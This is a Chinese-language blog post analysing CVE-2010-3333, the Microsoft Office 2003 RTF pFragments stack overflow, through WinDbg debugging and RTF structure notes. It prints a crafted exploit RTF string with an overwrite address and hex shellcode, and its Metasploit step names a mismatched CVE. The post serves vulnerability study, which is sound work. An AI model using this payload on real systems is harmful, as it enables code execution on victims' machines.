hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 书籍阅读
  3. 正文

CVE-2010-3333 Microsoft Office RTF栈溢出漏洞

2023年10月7日 889点热度 1人点赞 0条评论

实验环境

推荐使用的环境 备注
操作系统 Windows XP SP3
虚拟机 Vmware
调试器 OD
反汇编器 IDA Pro
漏洞软件 Microsoft Office 2003

动态分析

样本的获取可以通过msf构造。

search cve-2010-2883

use xxxxx

info

set target x

exploit

fig:

打开winword,windbg附加进程,word打开msf.rtf。产生异常。

fig:

edi为130000。READONLY区域。

由于此时栈空间已被破坏,所以b 30e9eb88打个断点,然后kb查看栈帧。

fig:

ub 30f4cdbd查看一下返回地址之上的指令。问题出在0x30f4cc5d这个函数里。

fig:

fig:

该func地址和漏洞出现地址0x30e9eb88相近。

fig:

fig:

这里ecx从文件中获取了0xc8ac。

fig:

然后将存放文件内容的内存地址给了esi。

fig:

由于rep movs dword所以ecx除以了4。

fig:

此时ebp为0x123dd0,edi为0x123dc0。差16字节,如果覆盖返回地址需要16+4+4字节。

fig:

由于是hex数据ascii话,所以两个字符代表一个字节。

最后构造如下:

结果是能跳过去执行,但是shellcode无用,触发了异常。由于重点是漏洞分析,而不是漏洞利用,这里就不继续跟进了。

{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;3;1111111160001111222233334444555566667777888899991010ed1e967c2222333344445555666677778888999900000000fc686a0a381e686389d14f683274910c8bf48d7ef433dbb7042be366bb33325368757365725433d2648b5a308b4b0c8b491c8b098b6908ad3d6a0a381e750595ff57f895608b453c8b4c057803cd8b592003dd33ff478b34bb03f5990fbe063ac47408c1ca0703d046ebf13b54241c75e48b592403dd668b3c7b8b591c03dd032cbb955fab57613d6a0a381e75a933db536877657374686661696c8bc453505053ff57fc53ff57f89090909090909090}}}}

静态分析

RTF结构

RTF(Rich Text Format)格式是Microsoft公司为进行文本和图像信息格式的交换而制定的一种文件格式,它适用于不同的设备,操作系统和操作环境。RTF文件的基本元素是正文,控制字,控制符号和群组。

一个完整的RTF文件包括文件头<header>和文档区<document>两大部分,可以用下列语法表示

<File>'{'<header> <document>'}'

CVE-2010-3333样本如下

fig:

对其分析:

\rtf1 -- 版本
\ansi -- 支持ANSI字符集
\shp -- 绘图对象
\*\shpinst -- 图片引用
\sp -- 绘图对象属性定义
\sn pFragments -- 定义属性名称,pFragments段是图形的附加部分,属于数组结构,它允许图形包含多个路径和分段,该属性列出图形各个碎片
\sv -- 定义属性值

补丁分析

由于是call eax+0x30,需要动态调试跟进去看看。

fig:

总结

  1. ub命令查看地址前的指令。
  2. kb栈回溯。
  3. 回溯第一列是ebp第二列返回地址第三四五为三个参数。

问题

  1. IDA如何导出一个函数的代码?
标签: 漏洞
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • 实验环境
  • 动态分析
  • 静态分析
    • RTF结构
    • 补丁分析
  • 总结
  • 问题

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
文件上传靶场pass-1-10 加密与解密 第4章 Git使用及ctf实战 sqli-labs 1-10 二维码结构分析 CVE-2011-0027 IE MDAC整数溢出漏洞

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1